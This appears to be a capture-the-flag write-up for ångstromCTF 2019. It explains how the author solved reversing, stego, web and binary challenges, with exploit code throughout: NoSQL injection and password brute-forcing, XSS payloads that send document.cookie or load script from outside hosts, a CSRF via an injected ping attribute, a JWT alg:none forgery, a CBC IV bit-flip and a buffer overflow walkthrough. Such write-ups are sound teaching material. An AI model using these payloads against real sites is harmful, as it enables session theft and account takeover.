ångstromCTF 2019

Writeup of challenges I solved for angstromCTF 2019

Just Letters

This challenge gives us a AlphaBeta interpreter with the flag at the top of memory - After figuring out how to print one character of the flag, I opted for the cheap solution:

from pwn import *

flag = ""

while True:
    r = remote("misc.2019.chall.actf.co", 19600)
    r.recvuntil("> ")
    r.sendline("S"*len(flag) + "GCL")
    c = r.recv(1)
    r.close()
    flag += c
    print(flag)

    if c == "}":
        break

Printing the flag one character at a time then reassembling it.

High Quality Checks

We were given a binary that checks whether the given input is the correct flag.

The following is the relevant function decompiled with Ghidra. Given I had no intention of sitting down and understanding what each function did, I tried using symbolic execution with angr instead.

undefined8 check(char *pcParm1)

{
  int iVar1;
  
  iVar1 = d(pcParm1 + 0xc);
  if ((((((iVar1 != 0) && (iVar1 = v((ulong)(uint)(int)*pcParm1), iVar1 != 0)) &&
        (iVar1 = u((ulong)(uint)(int)pcParm1[0x10],(ulong)(uint)(int)pcParm1[0x11],
                   (ulong)(uint)(int)pcParm1[0x11]), iVar1 != 0)) &&
       ((iVar1 = k((ulong)(uint)(int)pcParm1[5]), iVar1 == 0 &&
        (iVar1 = k((ulong)(uint)(int)pcParm1[9]), iVar1 == 0)))) &&
      ((iVar1 = w(pcParm1 + 1), iVar1 != 0 &&
       ((iVar1 = b(pcParm1,0x12), iVar1 != 0 && (iVar1 = b(pcParm1,4), iVar1 != 0)))))) &&
     ((iVar1 = z(pcParm1,0x6c), iVar1 != 0 && (iVar1 = s(pcParm1), iVar1 != 0)))) {
    return 1;
  }
  return 0;
}

The following script spat out the flag (with a bit of extra junk at the end):

#!/usr/bin/python3

"""
with reference to:
https://github.com/angr/angr-doc/blob/master/examples/google2016_unbreakable_0/solve.py
https://github.com/angr/angr-doc/blob/master/examples/securityfest_fairlight/solve.py
https://github.com/angr/angr-doc/blob/master/examples/csaw_wyvern/solve.py
"""

import angr
import claripy

FLAG_LENGTH = 24

p = angr.Project("/home/justin/angstrom2019/high_quality_checks")

flag = claripy.BVS("flag", FLAG_LENGTH * 8)

initial_state = p.factory.entry_state(args=["./high_quality_checks"], stdin=flag)

for byte in flag.chop(8):
    initial_state.add_constraints(byte > ' ') # \x20
    initial_state.add_constraints(byte < '~') # \x7e

initial_state.add_constraints(flag.chop(8)[0] == 'a')
initial_state.add_constraints(flag.chop(8)[1] == 'c')
initial_state.add_constraints(flag.chop(8)[2] == 't')
initial_state.add_constraints(flag.chop(8)[3] == 'f')
initial_state.add_constraints(flag.chop(8)[4] == '{')

sm = p.factory.simulation_manager(initial_state)
sm.explore(find=0x400a4d, avoid=0x400a54)
found = sm.found[0]

solution = found.solver.eval(flag, cast_to=bytes)
print(solution)

Icthyo

We were given a binary that encodes a message into an image, and a image with the flag encoded into it.

The relevant portion of the binary:

  while (y < 0x100) {
    row = *(long *)(rows + (long)y * 8);
    x = 0;
    while (x < 0x100) {
      pixel = (byte *)(row + (long)(x * 3));
      iVar2 = rand();
      *pixel = (byte)iVar2 & 1 ^ *pixel;
      iVar2 = rand();
      pixel[1] = pixel[1] ^ (byte)iVar2 & 1;
      iVar2 = rand();
      pixel[2] = pixel[2] ^ (byte)iVar2 & 1;
      x = x + 1;
    }
    o = 0;
    while (o < 8) {
      pixel1 = (byte *)(row + (long)(o * 0x60));
      message_char = (&message)[(long)y];
      if ((pixel1[2] & 1) != 0) {
        pixel1[2] = pixel1[2] ^ 1;
      }
      pixel1[2] = pixel1[2] |
                  (byte)((int)message_char >> ((byte)o & 0x1f)) & 1 ^ (pixel1[1] ^ *pixel1) & 1;
      o = o + 1;
    }
    y = y + 1;
  }

This is the encode function which iterates over each row of pixels one row at a time.

The first while loop scrambles the lowest bit of each byte just for that bit of extra fun.

The second loop is where it gets more interesting. It takes a byte of the message, then encodes one bit of it into the blue channel of every 32nd pixel ie 0, 32, 64, 128 and so on. The relevant line cleaned up:

pixel[2] = pixel[2] | ((message_char >> o) & 1) ^ ((pixel[1] & pixel[0]) & 1)

The image can thus be decoded:

import sys
from PIL import Image

im = Image.open(sys.argv[1])

pixels = im.load()

msg = ""
for y in range(256):
    # data is encoded in every 32th pixel ie 0, 32, 64
    bits = ""
    for x in range(0, 256, 32):
        pixel = pixels[x, y]

        bit = (pixel[2] & 1) ^ ((pixel[1] ^ pixel[0]) & 1)
        bits = str(bit) + bits
    
    msg += chr(int(bits, 2))

print(msg)

No Sequels

This challenge involved a NoSQL injection:

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

...

router.post('/login', verifyJwt, function (req, res) {
    // monk instance
    var db = req.db;

    var user = req.body.username;
    var pass = req.body.password;

    if (!user || !pass){
        res.send("One or more fields were not provided.");
    }
    var query = {
        username: user,
        password: pass
    }

    db.collection('users').findOne(query, function (err, user) {
        if (!user){
            res.send("Wrong username or password");
            return
        }

        res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));
        res.redirect("/site");
    });
});

The login form sends two strings username and password back to the server. An injection attack against NoSQL would involve being able to pass an object as username and password rather than a string.

As such, the login form itself cannot be used to execute the attack. However, the first line of code

app.use(bodyParser.json());

is a great hint - just pass a JSON object instead. The following command retrieves a valid token:

curl 'https://nosequels.2019.chall.actf.co/login' -H 'cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4NTk5fQ.SjMoaT-zOaBl0ECb2nNZEbI3yaxdo43WuQZQYsoTRus' -H "Content-Type: application/json" --data '{"username":{"$ne": null}, "password": {"$ne": null}}'
HTTP/2 302
content-type: text/plain; charset=utf-8
date: Thu, 25 Apr 2019 11:59:15 GMT
location: /site
server: Caddy
server: nginx/1.14.1
set-cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE1NTYxOTM1NTV9.9j3Z8wDctjY0YtE690iBqwp6VvAthlqg2Fuo48kfI-s; Path=/
vary: Accept
x-powered-by: Express
content-length: 27

Found. Redirecting to /site

Setting the cookie provided and navigating to /site returns the first flag.

No Sequels 2

This part required us to retrieve the password for the admin user. This is essentially a blind SQL injection. /login returns two states: a user is found, or a user is not found. This can be used to test for each character of the password one at a time:

"Does a user with username= admin and password starting with a exist? No?"

"Does a user with username= admin and password starting with b exist? No?"

"Does a user with username= admin and password starting with c exist? Yes? Great"

"Does a user with username= admin and password starting with ca exist? No?"

and repeating until the password is retrieved. Before starting the bruteforce, I tested what characters the password consisted of:

curl 'https://nosequels.2019.chall.actf.co/login' -H 'cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4NTk5fQ.SjMoaT-zOaBl0ECb2nNZEbI3yaxdo43WuQZQYsoTRus' -H "Content-Type: application/json" --data '{"username":"admin", "password": {"$regex": "^[a-z]+$"}}'

Since a user was found, I can conclude that the password comprises entirely of lower case ASCII characters. The following script bruteforced the password:

import requests
import json
import string

def test(inp):
    payload = json.dumps({"username":"admin", "password": {"$regex": "^{}".format(inp)}})

    r = requests.post("https://nosequels.2019.chall.actf.co/login", cookies={"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4NTk5fQ.SjMoaT-zOaBl0ECb2nNZEbI3yaxdo43WuQZQYsoTRus"}, headers={"Content-Type": "application/json"}, data=payload)
    return not r.text.startswith("Wrong")

pw = ""
while True:
    for c in string.ascii_lowercase:
        if test(pw+c):
            pw += c
            print("pw={}".format(pw))
            break

DOM Validator

This challenge involves a website that takes user input and displays it:

app.post('/posts', function (req, res) {
	// title must be a valid filename
	if (!(/^[\w\-. ]+$/.test(req.body.title)) || req.body.title.indexOf('..') !== -1) return res.sendStatus(400)
	if (fs.existsSync('public/posts/' + req.body.title + '.html')) return res.sendStatus(409)
	fs.writeFileSync('public/posts/' + req.body.title + '.html', `<!DOCTYPE html SYSTEM "3b16c602b53a3e4fc22f0d25cddb0fc4d1478e0233c83172c36d0a6cf46c171ed5811fbffc3cb9c3705b7258179ef11362760d105fb483937607dd46a6abcffc">
<html>
	<head>
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">
		<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script>
		<script src="../scripts/DOMValidator.js"></script>
	</head>
	<body>
		<h1>${req.body.title}</h1>
		<p>${req.body.content}</p>
	</body>
</html>`)
	res.redirect('/posts/' + req.body.title + '.html')
})

The interesting part is in the script DOMValidator.js:

function checksum (element) {
	var string = ''
	string += (element.attributes ? element.attributes.length : 0) + '|'
	for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {
		string += element.attributes[i].name + ':' + element.attributes[i].value + '|'
	}
	string += (element.childNodes ? element.childNodes.length : 0) + '|'
	for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {
		string += checksum(element.childNodes[i]) + '|'
	}
	return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)
}
var request = new XMLHttpRequest()
request.open('GET', location.href, false)
request.send(null)
if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) {
	document.documentElement.remove()
}

A quick look suggests that this block of code hashes the page somehow and deletes the entire document if it does not match some predetermined hash. A standard XSS payload thus fails because there is no <body> (or <head>, or any element left). However, you can still call document.appendChild to append an element to the DOM.

I just have to tweak a payload from XSS Hunter slightly - Rather than appending to <body>, append to document:

<img src=x onerror="window.onload=function() {var a=document.createElement('script');a.src='https://<subdomain>.xss.ht';document.appendChild(a);console.log(1)}">

NaaS

This challenge involves yet another website that takes user input and displays it. However, the page displaying user input is protected by a Content Security Policy that validates script tags with a nonce.

Every time the page is loaded, the server passes the page (without user input) to the following service to add a nonce to all script tags:

def setup():
	random.seed(os.urandom(256))
	url = os.environ.get("URL")
	hits = status["hits"] if "hits" in status else 0
	return {"url": url, "hits": hits}

def get_nonces():
	while True: yield str(base64.b64encode(binascii.unhexlify(hex(random.getrandbits(128))[2:].zfill(32))), encoding="ascii")

@app.route('/nonceify', methods=["POST"])
def nonceify():
	status["hits"] += 1
	soup = bs(request.data, 'html.parser')
	csp = "script-src"
	for script, nonce in zip(soup.findAll('script'), get_nonces()):
		script["nonce"] = nonce
		csp += " 'nonce-" + nonce + "'"
	csp += ";"
	return jsonify({"html": str(soup), "csp": csp})

Then, user input is filled in and displayed. This means that only script tags expected to be there will have a valid nonce. Any other script tags (like those injected from our malicious input) will not have a valid nonce and will not be executed.

That seeding of random in the nonce generation was unusual and reminded me that random is a PRNG, meaning that given enough outputs, one can recover the state of the PRNG and predict future outputs.

I came across https://github.com/eboda/mersenne-twister-recover while searching around and built my attack around it.

#!/usr/bin/python3
import random
import base64
import requests
import binascii
from bs4 import BeautifulSoup
from Crypto.Util.number import bytes_to_long
from MTRecover import MT19937Recover

def reverse_nonce(nonce):
    # reverse a nonce value into 4x ints
    nonce = base64.b64decode(nonce)
    return [bytes_to_long(nonce[i:i+4]) for i in range(0, 16, 4)][::-1]

def to_nonce(num):
    return str(base64.b64encode(binascii.unhexlify(hex(num)[2:].zfill(32))), encoding="ascii")

NONCES_TO_RECOVER = 157

# first, get STATES_TO_RECOVER nonces
# each nonce contains 4 ints from the prng
# 625 are needed to recover the prng, use the last one for verification
html = "<html>" + "<script></script>" * NONCES_TO_RECOVER + "</html>"
r = requests.post("https://naas.2019.chall.actf.co/nonceify", data=html)
soup = BeautifulSoup(r.text, "html.parser")

outputs = []
for script in soup.findAll("script"):
    outputs += reverse_nonce(script["nonce"])

mtr = MT19937Recover()
rand = mtr.go(outputs[:-1])

assert rand.getrandbits(32) == outputs[-1]

# now rand has the same state as random on the server
# because this state is shared and may increment between
# when i calculate it and the admin actually visits the page,
# i'm going to calculate the next 100 nonces

xss = """<script nonce="{}">fetch("https://justins.in/naas/"+document.cookie)</script>"""

payload = "".join([xss.format(to_nonce(rand.getrandbits(128))) for _ in range(100)])

r = requests.post("https://paste.2019.chall.actf.co/", data={"paste": payload}, allow_redirects=False)

paste_url = r.headers["location"]

requests.post("https://paste.2019.chall.actf.co/report", json={"url": paste_url})

The script can be split into a few parts:

  1. Recover 625 outputs of the PRNG. Since each nonce consists of 4 outputs (a nonce is 128 bits while each output is 32 bits), I get 157 nonces.
  2. Feed the outputs into mersenne-twister-recover and recover the state of the PRNG
  3. Generate the next (few) nonces
  4. Submit script tag(s) with the predicted nonces
  5. Report the malicious page so that the admin would visit it

I say nonces in step 3 and script tags in step 4 because the nonces are only valid once - this means that if another nonce is requested by another visitor after I predict it but before the admin visits my page, my attack has failed.

As such, I generate the next 100 nonces and spray the page with it, knowing that only one will have the correct nonce:

Of course, CSP prevents XSS Hunter from working in the above image, I used a simple fetch() to retrieve document.cookie in the final payload.

I also explicitly specified allow_redirects=False when submitting the paste - if not, the malicious page will be visited, causing the nonces to be generated and thus invalid.

The flag then appears in my web server logs:

18.214.214.31 - - [24/Apr/2019:09:48:09 +0800] "GET /naas/flag=actf%7Blots_and_lots_of_nonces%7D HTTP/1.1" 404 3742 "https://paste.2019.chall.actf.co/79d701ab" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/75.0.3738.0 Safari/537.36"

Cookie Monster

This challenge involves stealing the cookie of an admin. The relevant portions of the source:

const admin_id = "admin_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")

let flag = ""
fs.readFile('flag.txt', 'utf8', function(err, data) {  
    if (err) throw err;
    flag = data
});
const dom = "cookiemonster.2019.chall.actf.co"
let user_num = 0
const thecookie = {
	name: 'id',
	value: admin_id,
	domain: dom,
};

async function visit (url) {
	try{
		const browser = await puppeteer.launch({
			args: ['--no-sandbox']
		})
		var page = await browser.newPage()
		await page.setCookie(thecookie)
		await page.setCookie({name: "user_num", value: "0", domain: dom})
		await page.goto(url)
		await page.close()
		await browser.close()
	}catch(e){}
}

app.use((req, res, next) => {
	var cookie = req.cookies?req.cookies.id:undefined
	if(cookie === undefined){
		cookie = "user_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")
		res.cookie('id',cookie,{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom})
		req.cookies.id=cookie
		user_num+=1
		res.cookie('user_num',user_num.toString(),{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom})
		req.cookies.user_num=user_num.toString();
	}
	if(cookie === admin_id){
		res.locals.flag = true;
	}else{
		res.locals.flag = false;
	}
	next()
})

app.post('/complain', (req, res) => {
	visit(req.body.url);
	res.send("<link rel='stylesheet' type='text/css' href='style.css'>okay")
})

app.get('/cookies', (req, res) => {
	res.end(Object.values(req.cookies).join(" "))
})

app.get('/getflag', (req, res) => {
	res.send("<link rel='stylesheet' type='text/css' href='style.css'>flag: "+(res.locals.flag?flag:"currently unavailable"))
})

The objective is clear - steal thecookie and visit /getflag with it.

But how do we retrieve that cookie? There is no way for us to inject user input into a page on the same domain - necessary because the cookie is only added to the request to the same domain.

/cookies is really interesting though, why would there be an endpoint echoing the users cookies?

What's actually printed out when you visit /cookies?

user_KkHw4c9734OwxT6DwGNNbn2k2Li6KAOvG3aZXXzAZFg= 17988

The user cookie is post processed in quite an unusual manner - certain characters are replaced:

"user_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")

A side effect of base64 encoding 32 bytes means that there will always be one = at the end as padding.

Lets summarize what we know so far:

  1. The admin will visit an arbitrary page
  2. The cookie should be retrieved from /cookies somehow
  3. Cookie generation replaces certain characters

What are my options for getting /cookies then? Browsers provide protection against website A running client-sided code that makes requests to website B: this means that https://bad.malicious.site cannot retrieve the contents of https://bank.com/transfer except under certain specific conditions.

One of these exceptions is Cross-Origin Resource Sharing, which allows https://bank.com/transfer to respond with a special header allowing certain (or all) websites to load content from it no matter what.

For example, in the context of this challenge, reporting a page on https://justins.in with the following code:

<script>
    fetch("https://cookiemonster.2019.chall.actf.co/cookies").then((cookie) => {
        // exfil cookie
    }
</script>

will not work. The request to /cookies will actually be made, but the browser detects that /cookies belongs to a different domain and does not contain any CORS headers. The response is thus blocked and not returned to the callback.

The other exception is your friendly <script> tag - you can include JavaScript from other domains, most commonly used to load scripts from a CDN. Another application of this is JSONP.

Considering that, the pieces fell into place.

user_KkHw4c9734OwxT6DwGNNbn2k2Li6KAOvG3aZXXzAZFg= 17988 

is actually valid JavaScript! It's assigning 17988 to the variable user_KkHw4c9734OwxT6DwGNNbn2k2Li6KAOvG3aZXXzAZFg.

Hosting the following code and then reporting it:

<html>
  <script src="https://cookiemonster.2019.chall.actf.co/cookies"></script>
  <script>
    let found = false;
    for (const i in window) {
      if (i.startsWith("admin") || i.startsWith("user")) {
        fetch(i);
        found = true;
      }
    }
    if (!found) fetch("notfound");
  </script>
</html>>

results in the following request in my web server log:

18.214.214.31 - - [23/Apr/2019:00:00:03 +0800] "GET /admin_GgxUa7MQ7UVo5JHFGLbqzuQfFFy4EDQNwZWAWJXS5_o HTTP/1.1" 404 476 "https://justins.in/cookie.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/75.0.3738.0 Safari/537.36"

Visiting /getflag with it returns the flag.

GiantURL

This challenge presents a URL...expander. The relevant portions of code:

<?php elseif ($path === '/redirect') : ?>
	<p style="padding-left: 2em;">Click on <a href=<?php echo htmlspecialchars($_REQUEST['url']); ?>>this link</a> to go to your page!</p>

...

<?php elseif ($path === '/report' && $_SERVER['REQUEST_METHOD'] === 'POST') : ?>
	<?php exec('nohup node /app/visit.js '.escapeshellarg($_REQUEST['url']).' > /dev/null 2>&1 &'); ?>

...

<?php elseif ($path === '/admin' && $_SERVER['REQUEST_METHOD'] === 'POST') : ?>
  <?php if ($_REQUEST['password'] === $password) : ?>
    <?php $_SESSION["admin"] = "true" ?>
    <p style="padding-left: 2em;">Here's your flag: <?php echo getenv('FLAG'); ?></p>
  <?php else : ?>
    <p style="padding-left: 2em;">Incorrect password.</p>
  <?php endif; ?>
<?php else : ?>

...

if ($path === '/admin/changepass' && $_SERVER['REQUEST_METHOD'] === 'POST' && $_SESSION["admin"] === "true") {
  if (strlen($_REQUEST['password']) >= 100 && count(array_unique(str_split($_REQUEST['password']))) > 10) {
    $password = $_REQUEST['password'];
    echo 'Successfully changed password.';
  } else {
    echo 'Password is insecure.';
  }
}

The objective is straightforward - call /admin/changepass as the administrator, then visit /admin and login with the password set earlier.

This application allows a user to create a redirection to a URL of their choosing. Users can also report expanded URLs, upon which an admin would visit the lengthened URL and click on the <a> link.

There is one obvious thing to try: report a HTML page with the below content:

<html>
<form name="main" action="https://giant_url.2019.chall.actf.co/admin/changepass" method="POST">
<input name="password" value="rPAX2MmZuH8LrkEPlGxQrxODJXjKozlNpfIfc2ZHd2Dk5sZYluw4RUrUROOejFO0oTWPoGU7aJo2GnTlYRdL331ziOpnDEPRawCYsplItKwAag"/>
<script>
document.main.submit()
</script>
</html>

Unfortunately, even though the page was loaded, the password was not changed, presumably because of some sort of origin check for the request.

How can we issue a request to /admin/changepass such that it looks like it originated from the same domain then?

I turn my attention to the report functionality - why was it explicitly stated that "Note: the admin does visit the URL you have lengthened."?

Taking a closer look at how the redirect page is generated:

<?php elseif ($path === '/redirect') : ?>
	<p style="padding-left: 2em;">Click on <a href=<?php echo htmlspecialchars($_REQUEST['url']); ?>>this link</a> to go to your page!</p>

htmlspecialchars is used to try and protect against an XSS attack. However, the documentation explains something interesting: it converts the following characters &, <, >, ' and " into its html entity.

This is not perfect protection: yes, this stops me from terminating the <a> tag and injecting a <script> tag outright, but it does not stop me from injecting attributes into the <a> tag. Note that the following element is perfectly valid:

<a href=https://google.com name=hello>hello</a>

So I can inject attributes into a <a> tag that the admin clicks on - how can I submit a POST request from this then? Searching reveals the ping attribute: "Contains a space-separated list of URLs to which, when the hyperlink is followed, POSTrequests with the body PING will be sent by the browser (in the background). Typically used for tracking."

Perfect. Conveniently, /admin/changepass reads the password from anywhere in the request it can, including both GET and POST parameters. The ping attribute only lets us send a POST request without any data, leaving GET parameters as the only way.

Expanding the following payload:

# ping=https://giant_url.2019.chall.actf.co/admin/changepass?password=rPAX2MmZuH8LrkEPlGxQrxODJXjKozlNpfIfc2ZHd2Dk5sZYluw4RUrUROOejFO0oTWPoGU7aJo2GnTlYRdL331ziOpnDEPRawCYsplItKwAag

and then reporting the expanded URL results in the admin clicking on the link, changing the admin password successfully.

I can then just login with the password I set and retrieve the flag.

Cookie Cutter

This challenge provides us with a JSON Web Token containing a perms attribute. Ours contains perms= user, with the goal to provide a JWT with perms= admin.

Relevant code:

let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
let decoded = jwt.verify(cookie, secrets[sid]);
if(decoded.perms=="admin"){
  res.locals.flag = true;
}

...

let secret = crypto.randomBytes(32)
cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});
secrets.push(secret);
res.cookie('session',cookie,{maxAge:1000*60*10, httpOnly: true})

A random secret is generated and used to sign each JWT. The index of this secret is part of the JWT and is used to verify the JWT later.

My first thought was to identify some property of the array secrets that was a string, so I could sign it with the string and assign secretid= somestringattribute. Unfortunately, I could not identify any string property (the library used only signs with a string or buffer).

A team mate mentioned the use of alg: none which I immediately ruled out citing this article - given that the author of that article and the owner of the jsonwebtoken library used in this challenge were the same/related, this would have been patched.

Of course, to verify that it was indeed patched, I tested it and identified the code that stops the alg: none attack:

if (!hasSignature && secretOrPublicKey){
    return done(new JsonWebTokenError('jwt signature is required'));
}

This check fails the verification if a secret was provided yet no signature was found in the JWT.

I promptly ruled this vector out and went back to staring at the code.

Revisiting this vector again later, I realised I could fulfill that check - just pass a string for secretid!

The following object signed with alg: none results in a valid admin token:

{
  "perms": "admin",
  "secretid": "asdf",
  "rolled": "no"
}

Secret Sheep Society

This challenge involves modifying a cookie containing permissions. The following JSON object is encrypted with AES-CBC:

{'admin': false, 'handle': "handle"}

The cookie is IV+encrypt({'admin': false, 'handle': "handle"}).

The goal is to change the value of the admin to trueto retrieve the flag. However, we cannot modify the encrypted string directly.

Image Source: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_(CBC)

What we can change is the IV. Since the IV is XORed with the first block of the decrypted ciphertext to return the plaintext, modifying the IV will allow us to freely modify the first block of plaintext without affecting the rest of the plaintext.

Conveniently, the admin property of the cookie is in the first block (of 16 bytes):

{"admin": false

This means that we can adjust the IV such that the decrypted object contains admin: true rather than admin: false.

The attack plan looks like this:

  1. Get cookie with admin: false
  2. Set IV = IV ^ {"admin": false ^ {"admin": true
  3. Submit cookie for flag

This can be scripted:

import sys
import base64
import binascii

# https://crypto.stackexchange.com/a/66086
def xor_string(a, b):
    assert(len(a) == len(b))
    out = bytearray()

    for c1, c2 in zip(a, b):
        out.append(ord(c1) ^ ord(c2))
    
    return out

# https://stackoverflow.com/a/23312664
def bxor(b1, b2):
    result = bytearray(b1)  
    for i, b in enumerate(b2):
        result[i] ^= b
    return bytes(result)

iv_modification = xor_string('{"admin": false ', '{"admin": true  ')

cookie = base64.b64decode(sys.argv[1])

new_iv = bxor(cookie[0:16], iv_modification)

new_cookie = base64.b64encode(new_iv + cookie[16:])
print(new_cookie)

Aquarium

Source:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

struct fish_tank {
	char name[50];
	int fish;
	int fish_size;
	int water;
	int width;
	int length;
	int height;
};


struct fish_tank create_aquarium() {
	struct fish_tank tank;

	printf("Enter the number of fish in your fish tank: ");
	scanf("%d", &tank.fish);
	getchar();

	printf("Enter the size of the fish in your fish tank: ");
	scanf("%d", &tank.fish_size);
	getchar();

	printf("Enter the amount of water in your fish tank: ");
	scanf("%d", &tank.water);
	getchar();

	printf("Enter the width of your fish tank: ");
	scanf("%d", &tank.width);
	getchar();

	printf("Enter the length of your fish tank: ");
	scanf("%d", &tank.length);
	getchar();

	printf("Enter the height of your fish tank: ");
	scanf("%d", &tank.height);
	getchar();

	printf("Enter the name of your fish tank: ");
	char name[50];
	gets(name);

	strcpy(name, tank.name);
	return tank;
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	struct fish_tank tank;

	tank = create_aquarium();

	if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
		printf("Your fish tank has overflowed!\n");
		return 1;
	}

	printf("Nice fish tank you have there.\n");

	return 0;
}

A buffer overflow occurs at gets(name) towards the end of create_aquarium as gets reads in as much information as the user is willing to provide. This allows us to overwrite the return address of create_aquarium with the address of flag.

We need to know the exact number of characters to overwrite before we reach the return address of create_aquarium.

The quickest way to find this is to dump in a string with a cyclic pattern which will allow us to identify the exact offset:

Using gdb with pwndbg and gef:

gef➤  cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
gef➤  r
Starting program: /home/justin/angstrom2019/aquarium
Enter the number of fish in your fish tank: 1
Enter the size of the fish in your fish tank: 1
Enter the amount of water in your fish tank: 1
Enter the width of your fish tank: 1
Enter the length of your fish tank: 1
Enter the height of your fish tank: 1
Enter the name of your fish tank: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

As expected, the program segfaults when it tries to return from create_aquarium because the return address is invalid:

Program received signal SIGSEGV, Segmentation fault.
0x000000000040138e in create_aquarium ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────
$rax   : 0x00007fffffffe3a0  →  "haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaa
$rbx   : 0x0
$rcx   : 0x6261617762616176 ("vaabwaab"?)
$rdx   : 0x62616100
$rsp   : 0x00007fffffffe398  →  "naaboaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaa
$rbp   : 0x6261616d6261616c ("laabmaab"?)
$rsi   : 0x00007fffffffe3c0  →  "paabqaabraabsaabtaabuaabvaabwaabxaabyaab"
$rdi   : 0x00007fffffffe380  →  "xaabyaab"
$rip   : 0x000000000040138e  →  <create_aquarium+469> ret
$r8    : 0x0000000000405739  →  0x0000000000000000
$r9    : 0x00007fffffffe330  →  "daabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaa
$r10   : 0xfffffffffffff4fa
$r11   : 0x00007ffff7f69a60  →  0xfff20c40fff20c30
$r12   : 0x00000000004010c0  →  <_start+0> endbr64
$r13   : 0x00007fffffffe4d0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
[!] Command 'registers' failed to execute properly, reason: Invalid cast.
────────────────────────────────────────────────────────────────────────────────
[!] Command 'dereference' failed to execute properly, reason: Unknown register.
────────────────────────────────────────────────────────────────────────────────
     0x401383 <create_aquarium+458> mov    DWORD PTR [rax+0x48], edx
     0x401386 <create_aquarium+461> mov    rax, QWORD PTR [rbp-0x98]
     0x40138d <create_aquarium+468> leave
 →   0x40138e <create_aquarium+469> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────
[#0] Id 1, Name: "aquarium", stopped, reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────
[#0] 0x40138e → create_aquarium()
────────────────────────────────────────────────────────────────────────────────
gef➤  stack
00:0000│ rsp  0x7fffffffe398 ◂— 0x6261616f6261616e ('naaboaab')
01:0008│ rax  0x7fffffffe3a0 ◂— 0x6261616962616168 ('haabiaab')
02:0010│      0x7fffffffe3a8 ◂— 0x6261616b6261616a ('jaabkaab')
03:0018│      0x7fffffffe3b0 ◂— 0x6261616d6261616c ('laabmaab')
04:0020│      0x7fffffffe3b8 ◂— 0x6261616f6261616e ('naaboaab')
05:0028│ rsi  0x7fffffffe3c0 ◂— 0x6261617162616170 ('paabqaab')
06:0030│      0x7fffffffe3c8 ◂— 0x6261617362616172 ('raabsaab')

The offending instruction is ret which tries to jump to the address at the top of the stack, which is naaboaab at offset 152:

gef➤  cyclic -l naab
152

This means that the 8 bytes at offset 152 of my aquarium name will overwrite the return address of create_aquarium. I confirm this by sending 152 As and 8 Bs - if the offset 152 is correct, I should see ret try and jump to BBBBBBBB.

gef➤  r <<< $(python -c 'print "1\n" * 6 + "A" * 152 + "B" * 8')
Starting program: /home/justin/angstrom2019/aquarium <<< $(python -c 'print "1\n" * 6 + "A" * 152 + "B" * 8')

Program received signal SIGSEGV, Segmentation fault.
0x000000000040138e in create_aquarium ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffe3a0  →  "AAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
$rbx   : 0x0
$rcx   : 0x4141414141414141 ("AAAAAAAA"?)
$rdx   : 0x41414141
$rsp   : 0x00007fffffffe398  →  "BBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
